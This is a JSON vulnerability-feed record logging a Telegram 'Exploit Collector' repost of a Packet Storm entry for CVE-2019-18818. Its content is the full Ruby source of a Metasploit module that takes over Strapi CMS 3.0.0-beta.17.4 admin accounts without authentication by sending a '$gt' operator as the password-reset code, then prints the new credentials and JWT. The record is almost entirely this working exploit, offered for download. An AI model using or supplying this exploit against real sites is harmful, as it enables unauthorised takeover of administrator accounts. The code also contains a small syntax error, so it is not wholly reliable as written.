{"uuid": "5c278424-1678-4ef2-9faf-52a344a8ac0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-18818", "type": "seen", "source": "https://t.me/hacking_Attack/42048", "content": "Exploit Collector\nStrapi CMS 3.0.0-beta.17.4 Privilege Escalation\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nThis Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n\nMD5 | 8ecdde32e335de56a08cade93bba6146\n\nDownload\n##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\nRank = NormalRanking\n\ninclude Msf::Exploit::Remote::HttpClient\n\ndef initialize(info={})\nsuper(update_info(info,\n\n'Name'           => \"Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)\",\n'Description'    => %q{\nThis exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n},\n'License'        => MSF_LICENSE,\n'Author'         => [ 'WackyH4cker' ],\n'References'     =>\n[\n[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]\n],\n'Platform'       => 'linux',\n'Targets'        => [\n[ 'Strapi 3.0.0-beta-17.4', {} ]\n],\n'Payload'        => '',\n'Privileged'     => true,\n'DisclosureDate' => \"\",\n'DefaultOptions' => \n{\n'SSL' => 'False',\n'RPORT' => 80,\n},\n'DefaultTarget'  => 0\n\n))\n\nregister_options [\nOptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])\n]\nend\n\ndef check\n\nres = send_request_raw({ 'uri' => '/admin/init' })\nversion = JSON.parse(res.body) \n\nif version[\"data\"][\"strapiVersion\"] == '3.0.0-beta.17.4'\nreturn Exploit::CheckCode::Vulnerable\nelse\nreturn Exploit::CheckCode::Safe\nend\n\nend\n\ndef run\n\njson_body = { 'code' => {'$gt' => 0},\n'password' => datastore['NEW_PASSWORD'],\n'passwordConfirmation' => datastore['NEW_PASSWORD'] }\n\nres = send_request_cgi({\n'method' => 'POST',\n'uri' => '/admin/auth/reset-password',\n'ctype' => 'application/json',\n'data' => JSON.generate(json_body)\n})\n\nprint_status(\"Changing password...\")\njson_format = JSON.parse(res.body)\njwt = json_format['jwt']\n\nif res.code == 200\nprint_good(\"Password changed successfully!\")\nprint_good(\"USER: admin\")\nprint_good(\"PASSWORD: #{datastore['NEW_PASSWORD']}\")\nprint_good(\"JWT: #{jwt}\")\nelse\nfail_with(Failure::NoAccess\"Could not change admin user password\")\nend\nend\n\nend\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:17.722031Z"}